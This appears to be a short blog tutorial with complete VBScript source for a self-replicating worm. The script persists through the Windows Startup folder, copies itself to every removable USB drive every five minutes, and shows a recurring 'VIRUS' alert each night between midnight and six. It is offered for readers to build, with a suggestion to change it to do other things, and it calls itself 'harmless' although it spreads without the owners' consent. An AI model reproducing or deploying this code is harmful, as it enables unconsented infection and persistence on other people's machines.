HOW TO MAKE A HARMLESS SPREADING VIRUS (VBscript)

This is a small harmless VBScript file that can spread form one computer to another. The VBScript file copies itself to the startup folder and copies it self to any USB drives available every five minutes. But what's the use of spreading it without any action? So I included a simple code to display a message every five minutes between midnight and six in the morning.

The spreading method used by this vbs file depends completely on the victim. The vbs file is only copied to the USB drive. It will infect another computer only if it is opened. You can modify to do other things with the VBScript file like opening a URL to your site at a specific time. But I don't support making harmful viruses.

To make the VBScript file save the following code as a .vbs file with notepad.

-----------------------------------------------------------------------------------------------

On Error Resume Next

Set WshShell = CreateObject("WScript.Shell")

Set fs = CreateObject("Scripting.FileSystemObject")

Path = WshShell.SpecialFolders("Startup")

Start()

Function Start()

X = fs.CopyFile("NX21.vbs", Path & "\", True)

Set dc = fs.Drives

For Each d in dc

If (d.DriveType = 1) Then

s = d.DriveLetter

X = fs.CopyFile("NX21.vbs", s & ":\", True)

Else

End If

Next

If (Hour(Now) >= 0 And Hour(Now) < 6) Then

X = Msgbox("Author         : #anyname" & Chr(13) & "Description  : Harmless self replicating virus" & Chr(13) & Chr(13) & "This virus is coded in VBScript and uses a really simple technique to spread through removeable storage devices. This is a completely harmless virus designed for spreading. Any computer infected with this virus would display this message after midnight until six in the morning everyday every 5 minutes!" & Chr(13) & Chr(13) & "Please contact the author for more information.", 48, "ALERT! VIRUS! VIRUS!")

Else

End If

WScript.Sleep 300000

Start()

End Function

------------------------------------------------------------------------------------------------

Save the file as anyname.vbs

Subscribe to the blog for more cool tricks!